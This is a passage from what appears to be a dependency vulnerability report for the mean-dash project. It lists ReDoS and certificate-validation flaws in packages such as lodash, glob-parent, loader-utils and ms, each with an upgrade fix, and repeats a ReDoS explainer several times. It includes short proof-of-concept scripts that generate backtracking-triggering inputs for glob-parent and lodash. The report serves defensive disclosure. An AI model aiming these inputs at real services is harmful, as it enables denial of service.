Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ecstatic to version 2.0.0 or higher.
References
medium severity
- Vulnerable module: glob-parent
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › glob-parent@3.1.0
Overview
glob-parent is a package that helps extracting the non-magic parent path from a glob string.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.
PoC by Yeting Li
var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}
return ret;
}
globParent(build_attack(5000));
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade glob-parent to version 5.1.2 or higher.
References
medium severity
- Vulnerable module: loader-utils
- Introduced through: babel-loader@6.4.1, css-loader@0.9.1 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-loader@6.4.1 › loader-utils@0.2.17Remediation: Upgrade to babel-loader@7.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › css-loader@0.9.1 › loader-utils@0.2.17Remediation: Upgrade to css-loader@0.26.2.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › file-loader@0.8.5 › loader-utils@0.2.17Remediation: Upgrade to file-loader@0.10.1.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › loader-utils@0.2.17Remediation: Upgrade to karma-webpack@2.0.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › ng-annotate-loader@0.1.1 › loader-utils@0.2.17
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › style-loader@0.8.3 › loader-utils@0.2.17Remediation: Upgrade to style-loader@0.13.2.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › loader-utils@0.2.17Remediation: Upgrade to webpack-stream@4.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the resourcePath variable in interpolateName.js.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.
References
medium severity
- Vulnerable module: loader-utils
- Introduced through: babel-loader@6.4.1, css-loader@0.9.1 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-loader@6.4.1 › loader-utils@0.2.17Remediation: Upgrade to babel-loader@7.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › css-loader@0.9.1 › loader-utils@0.2.17Remediation: Upgrade to css-loader@0.26.2.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › file-loader@0.8.5 › loader-utils@0.2.17Remediation: Upgrade to file-loader@0.10.1.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › loader-utils@0.2.17Remediation: Upgrade to karma-webpack@2.0.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › ng-annotate-loader@0.1.1 › loader-utils@0.2.17
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › style-loader@0.8.3 › loader-utils@0.2.17Remediation: Upgrade to style-loader@0.13.2.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › loader-utils@0.2.17Remediation: Upgrade to webpack-stream@4.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in interpolateName function via the URL variable.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: gulp@3.9.1, jshint@2.9.3 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › lodash@1.0.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint@2.9.3 › lodash@3.7.0Remediation: Upgrade to jshint@2.9.6.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint-loader@0.8.4 › rcloader@0.1.2 › lodash@2.4.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › lodash@3.10.1Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › lodash@3.10.1Remediation: Upgrade to karma-webpack@2.0.10.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
POC
var lo = require('lodash');
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)
var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)
var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash to version 4.17.21 or higher.
References
medium severity
- Vulnerable module: micromatch
- Introduced through: gulp@3.9.1, karma@0.13.5 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › liftoff@2.5.0 › findup-sync@2.0.0 › micromatch@3.1.10Remediation: Upgrade to gulp@4.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5 › http-proxy-middleware@0.17.4 › micromatch@2.3.11Remediation: Upgrade to webpack-dev-server@4.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11Remediation: Upgrade to webpack-stream@7.0.0.
Overview
Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.
Remediation
Upgrade micromatch to version 4.0.8 or higher.
References
medium severity
- Vulnerable module: minimatch
- Introduced through: karma@0.13.5 and gulp@3.9.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › minimatch@2.0.10Remediation: Upgrade to karma@0.13.12.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-stream@3.1.18 › minimatch@2.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-stream@3.1.18 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to gulp@4.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › minimatch@0.2.14
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › glob@3.1.21 › minimatch@0.2.14
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the braceExpand function in minimatch.js.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 3.0.5 or higher.
References
medium severity
- Vulnerable module: ms
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › debug@2.1.0 › ms@0.6.2Remediation: Upgrade to karma@0.13.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › engine.io@1.5.4 › debug@1.0.3 › ms@0.6.2Remediation: Upgrade to karma@0.13.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-adapter@0.3.1 › debug@1.0.2 › ms@0.6.2Remediation: Upgrade to karma@0.13.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › engine.io-client@1.5.4 › debug@1.0.4 › ms@0.6.2Remediation: Upgrade to karma@0.13.10.
Overview
ms is a tiny milisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)
attack when converting a time period string (i.e. "2 days", "1h") into a milliseconds integer. A malicious user could pass extremely long strings to ms(), causing the server to take a long time to process, subsequently blocking the event loop for that extended period.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms to version 0.7.1 or higher.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1Remediation: Upgrade to node-sass@7.0.0.
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Improper Certificate Validation. Certificate validation is disabled by default when requesting binaries, even if the user is not specifying an alternative download path.
Remediation
Upgrade node-sass to version 7.0.0 or higher.
References
medium severity
- Vulnerable module: scss-tokenizer
- Introduced through: node-sass@4.14.1
Detailed paths
-
